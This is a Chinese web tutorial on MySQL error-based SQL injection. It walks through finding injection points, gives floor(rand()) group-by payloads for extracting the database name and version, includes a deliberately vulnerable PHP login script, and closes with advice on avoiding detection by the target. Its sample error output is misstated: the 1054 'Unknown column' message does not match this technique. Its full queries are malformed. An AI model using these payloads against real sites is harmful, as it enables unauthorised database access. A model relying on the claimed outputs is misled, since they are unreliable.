下面是关于"mysql 注入报错利用方法总结"的完整攻略,包括步骤和两条示例说明。
1. 概述
MySQL注入是一种常见的web安全漏洞,攻击者可以通过利用这个漏洞,实现绕过身份验证、将恶意代码插入到网站数据库等等攻击目的。 根据注入结果是否能够在web页面上输出,可以将MySQL注入常见的方法分为两类:基于布尔盲注和基于报错注入。本文重点介绍报错注入的利用方法。
2. 利用方法
报错注入,顾名思义,就是在注入时,构造错误的SQL语句,从而使MySQL数据库出现异常,从而得到有用的信息。报错注入一般发生在"WHERE"和"HAVING"从句中,我们可以模拟构造一些错误的SQL语句,通过MySQL数据库的错误信息输出,来获取敏感信息。具体步骤如下:
步骤一:寻找注入点
首先,我们需要确定网站存在注入漏洞,可以使用一些自动化工具扫描。如果手工寻找,可以尝试在网站的参数中添加一些特定的字符如单引号、双引号、括号等,如果发现网站报错,则说明存在注入漏洞。
步骤二:构造错误的SQL语句
假设我们找到了注入点,例如在网站的URL中发现id参数可被注入。我们可以构造如下的SQL语句:
SELECT * FROM user WHERE id=1' and (select 1 from(select count(*),concat((select database()),floor(rand()*2))x from information_schema.tables group by x)a)#
这个SQL语句的目的是向information_schema
表中查询当前数据库的名称,在查询时构造一个错误的SQL语句,从而引起报错信息输出。其中,SELECT * FROM user WHERE id=1'语句用来模拟注入点,'表示闭合前面的单引号,()中的SQL查询语句用于构造一个错误的SQL语句,从而触发MySQL数据库的错误信息输出。
步骤三:获取有用的信息
当我们向目标服务器发送上述SQL语句后,如果存在注入漏洞,则很可能会返回如下信息:
Unknown column 'xxxxx' in 'field list'
其中,'xxxxx'表示当前数据库名称,因此我们就成功获取了当前数据库的名称。这些信息可以帮助我们进一步了解目标网站的架构和安全漏洞。由于错误信息可能包含的内容并不确定,我们可以尝试多次构造不同的错误SQL语句,寻找更多的有用信息。
3. 示例说明
下面,我们给出两个示例说明。
示例一:获取数据库名称
假设我们找到了一个注入点,如下所示:
http://example.com/list.php?id=1
我们可以尝试向该注入点发送如下的SQL语句:
SELECT * FROM users WHERE id=1' and (select 1 from(select count(*),concat((select database()),floor(rand()*2))x from information_schema.tables group by x)a)#
发送后,我们得到了下面的响应信息:
ERROR 1054 (42S22): Unknown column 'xxxxx' in 'field list'
其中,'xxxxx'表示当前数据库的名称。
示例二:获取数据库版本信息
假设我们还找到了通过用户输入判断是否管理员的功能,如下所示:
<?php
$username = $_POST['username'];
$password = $_POST['password'];
$sql = "SELECT * FROM user WHERE username='$username' AND password='$password'";
$result = mysql_query($sql);
if(mysql_num_rows($result)){
if($username=='admin'){
echo 'Welcome, admin';
}
else{
echo 'Welcome, user';
}
}
else{
echo 'Username or password is incorrect';
}
?>
我们可以尝试通过注入获取当前数据库的版本信息,具体步骤如下:
- 构造如下的SQL语句:
SELECT * FROM users WHERE username='admin' and (select 1 from(select count(*),concat((select @@version),floor(rand()*2))x from information_schema.tables group by x)a)#
- 通过表单提交上述SQL语句,发送给目标服务器;
- 目标服务器返回错误信息,其中包含MySQL数据库版本信息,如下所示:
ERROR 1054 (42S22): Unknown column '5.7.24-0ubuntu0.16.04.1' in 'field list'
通过分析错误信息,我们得到了目标数据库的版本,是MySQL 5.7.24。
以上便是利用SQL注入报错方法获取目标信息的详细步骤,需要注意的是,在使用这些技巧时,一定要谨慎,审慎考虑对方反制可能,以免对方发现或者拒绝服务等不良反应。
本站文章如无特殊说明,均为本站原创,如若转载,请注明出处:mysql 注入报错利用方法总结 - Python技术站